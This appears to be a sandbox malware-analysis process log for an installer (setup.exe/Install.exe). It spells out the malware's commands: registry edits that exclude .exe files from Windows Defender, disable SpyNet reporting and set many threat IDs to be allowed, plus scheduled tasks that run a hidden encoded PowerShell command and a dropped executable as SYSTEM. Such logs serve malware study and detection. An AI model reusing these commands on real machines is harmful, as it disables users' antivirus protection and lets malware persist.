"C:\Users\Admin\AppData\Local\Temp\setup.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:704
- C:\Users\Admin\AppData\Local\Temp\7zSDE1B.tmp\Install.exe
  .\Install.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:1536
- - C:\Users\Admin\AppData\Local\Temp\7zSDFC1.tmp\Install.exe
    .\Install.exe /S /site_id "385117"
    3⤵
    - Executes dropped EXE
    - Drops file in System32 directory
    - Suspicious use of WriteProcessMemory
    PID:4104
  - - C:\Windows\SysWOW64\forfiles.exe
      "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4456
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3984
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
        6⤵
        
        PID:3784
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
        6⤵
        
        PID:4656
  - - C:\Windows\SysWOW64\forfiles.exe
      "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:5020
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4512
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
        6⤵
        
        PID:4140
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
        6⤵
        
        PID:4144
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /CREATE /TN "gjZNVppba" /SC once /ST 02:23:37 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
      4⤵
      Creates scheduled task(s)
      PID:5084
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /run /I /tn "gjZNVppba"
      4⤵
      PID:4428
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /DELETE /F /TN "gjZNVppba"
      4⤵
      PID:4440
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /CREATE /TN "bRrLmincsdUQgplWAx" /SC once /ST 11:25:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\jkWHEXGDLsVYUfOQV\fLqJTOocapOiuaw\oYjhDOp.exe\" 9p /site_id 385117 /S" /V1 /F
      4⤵
      Drops file in Windows directory
      Creates scheduled task(s)
      PID:3872

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3748
- C:\Windows\system32\gpupdate.exe
  "C:\Windows\system32\gpupdate.exe" /force
  2⤵
  PID:5076

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
1⤵
PID:1676

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s fhsvc
1⤵
PID:3816

\??\c:\windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:4460

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe"
1⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:768
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xcc,0xd0,0xd4,0xa8,0xd8,0x7ff94e8c9758,0x7ff94e8c9768,0x7ff94e8c9778
  2⤵
  PID:4396
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1812 --field-trial-handle=1860,i,100499384040649516,4269949740583590936,131072 /prefetch:8
  2⤵
  PID:1632
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1668 --field-trial-handle=1860,i,100499384040649516,4269949740583590936,131072 /prefetch:2
  2⤵
  PID:312
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2068 --field-trial-handle=1860,i,100499384040649516,4269949740583590936,131072 /prefetch:8
  2⤵
  PID:3692
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=2888 --field-trial-handle=1860,i,100499384040649516,4269949740583590936,131072 /prefetch:1
  2⤵
  PID:3176
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2880 --field-trial-handle=1860,i,100499384040649516,4269949740583590936,131072 /prefetch:1
  2⤵
  PID:516
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4504 --field-trial-handle=1860,i,100499384040649516,4269949740583590936,131072 /prefetch:8
  2⤵
  PID:4148
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --mojo-platform-channel-handle=4624 --field-trial-handle=1860,i,100499384040649516,4269949740583590936,131072 /prefetch:1
  2⤵
  PID:1508
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4500 --field-trial-handle=1860,i,100499384040649516,4269949740583590936,131072 /prefetch:8
  2⤵
  PID:4084
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4920 --field-trial-handle=1860,i,100499384040649516,4269949740583590936,131072 /prefetch:8
  2⤵
  PID:200
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=5064 --field-trial-handle=1860,i,100499384040649516,4269949740583590936,131072 /prefetch:8
  2⤵
  PID:1300
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4784 --field-trial-handle=1860,i,100499384040649516,4269949740583590936,131072 /prefetch:8
  2⤵
  PID:2016
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5072 --field-trial-handle=1860,i,100499384040649516,4269949740583590936,131072 /prefetch:8
  2⤵
  PID:5088
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --mojo-platform-channel-handle=4944 --field-trial-handle=1860,i,100499384040649516,4269949740583590936,131072 /prefetch:1
  2⤵
  PID:4076
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --mojo-platform-channel-handle=2900 --field-trial-handle=1860,i,100499384040649516,4269949740583590936,131072 /prefetch:1
  2⤵
  PID:3784
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --mojo-platform-channel-handle=4596 --field-trial-handle=1860,i,100499384040649516,4269949740583590936,131072 /prefetch:1
  2⤵
  PID:4400
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4424 --field-trial-handle=1860,i,100499384040649516,4269949740583590936,131072 /prefetch:8
  2⤵
  PID:3008
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --mojo-platform-channel-handle=3632 --field-trial-handle=1860,i,100499384040649516,4269949740583590936,131072 /prefetch:1
  2⤵
  PID:4840
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --mojo-platform-channel-handle=5476 --field-trial-handle=1860,i,100499384040649516,4269949740583590936,131072 /prefetch:1
  2⤵
  PID:4444
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --mojo-platform-channel-handle=5616 --field-trial-handle=1860,i,100499384040649516,4269949740583590936,131072 /prefetch:1
  2⤵
  PID:3220
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --mojo-platform-channel-handle=3052 --field-trial-handle=1860,i,100499384040649516,4269949740583590936,131072 /prefetch:1
  2⤵
  PID:2400
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --mojo-platform-channel-handle=1540 --field-trial-handle=1860,i,100499384040649516,4269949740583590936,131072 /prefetch:1
  2⤵
  PID:2256
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --mojo-platform-channel-handle=5792 --field-trial-handle=1860,i,100499384040649516,4269949740583590936,131072 /prefetch:1
  2⤵
  PID:2772
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --mojo-platform-channel-handle=5656 --field-trial-handle=1860,i,100499384040649516,4269949740583590936,131072 /prefetch:1
  2⤵
  PID:3952
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --mojo-platform-channel-handle=5480 --field-trial-handle=1860,i,100499384040649516,4269949740583590936,131072 /prefetch:1
  2⤵
  PID:4768
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=26 --mojo-platform-channel-handle=5736 --field-trial-handle=1860,i,100499384040649516,4269949740583590936,131072 /prefetch:1
  2⤵
  PID:1204
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=27 --mojo-platform-channel-handle=896 --field-trial-handle=1860,i,100499384040649516,4269949740583590936,131072 /prefetch:1
  2⤵
  PID:3736
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2920 --field-trial-handle=1860,i,100499384040649516,4269949740583590936,131072 /prefetch:8
  2⤵
  PID:3980
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=29 --mojo-platform-channel-handle=5816 --field-trial-handle=1860,i,100499384040649516,4269949740583590936,131072 /prefetch:1
  2⤵
  PID:4004

C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"
1⤵
PID:4816

C:\Users\Admin\AppData\Local\Temp\jkWHEXGDLsVYUfOQV\fLqJTOocapOiuaw\oYjhDOp.exe
C:\Users\Admin\AppData\Local\Temp\jkWHEXGDLsVYUfOQV\fLqJTOocapOiuaw\oYjhDOp.exe 9p /site_id 385117 /S
1⤵
- Executes dropped EXE
- Drops file in System32 directory
PID:3032
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:3192
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:5004
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
      4⤵
      PID:4848
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:1116
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:4944
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:2948
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:4464
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:4996
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:3716
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:2076
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:1956
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:4960
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:2964
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:2988
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:416
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:2616
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:1112
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:5072
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:5104
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:5092
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:5088
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:3460
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:4112
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:1820
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:1016
- - C:\Windows\SysWOW64\reg.exe
